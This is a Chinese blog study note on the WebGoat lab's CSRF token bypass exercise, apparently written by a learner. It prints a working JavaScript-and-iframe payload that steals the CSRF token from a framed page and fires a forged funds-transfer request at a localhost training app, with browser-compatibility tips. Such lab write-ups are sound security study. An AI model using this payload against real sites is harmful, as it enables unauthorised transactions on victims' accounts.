WebGoat学习笔记(五)——CSRF Token By-Pass

本文介绍了一种利用跨站请求伪造(CSRF)漏洞进行攻击的方法,通过修改iframe源和使用JavaScript脚本来窃取CSRF Token,最终实现绕过认证执行非法操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目:

 

最后成功的Message内容:

 

<script language="javascript" type="text/javascript">
function modify()
{

var FrameDoc=document.getElementById("frame1").contentDocument;
var Form=FrameDoc.getElementsByTagName("form")[1];
var token=Form.CSRFToken.value;
var tokenstr="&CSRFToken="+token;

var testFrame=document.getElementById("frame2");
testFrame.src="
http://localhost:8080/webgoat/attack?Screen=610&menu=900&transferFunds=4000"+tokenstr;
}

</script>


<iframe id="frame1" frameborder="1" marginwidth="0" marginheight="0"  src="http://localhost:8080/webgoat/attack?
Screen=610&menu=900&transferFunds=main" onload="modify();" height="500" width="800" scrolling="yes" ></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0"  height="500" width="800" scrolling="yes" ></iframe>

 

 

需要注意的几点:

 

1、FrameDoc.getElementsByTagName("form")[1],要注意CSRFToken所在的form标签的索引值,只有在上一个form标签闭合了之后,下一个form的索引才加1。

2、注意iframe标签的闭合方式,文中的这种方式在FF和IE下都可以成功,但是如果换成“/>”的闭合方式,在FF下是不能攻击成功的,具体的原因另一篇有提到。

 

 

最后产生的效果:

 

 

当前页面请求: http://localhost:8080/webgoat/attack,并通过JS脚本偷得CSRFToken的值,形成第二个iFrame的src:http://localhost:8080/webgoat/attackScreen=610&menu=900&transferFunds=4000&CSRFToken=XXXX?Screen=610&menu=900&transferFunds=main

并发出请求,从而绕过认证,成功执行。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值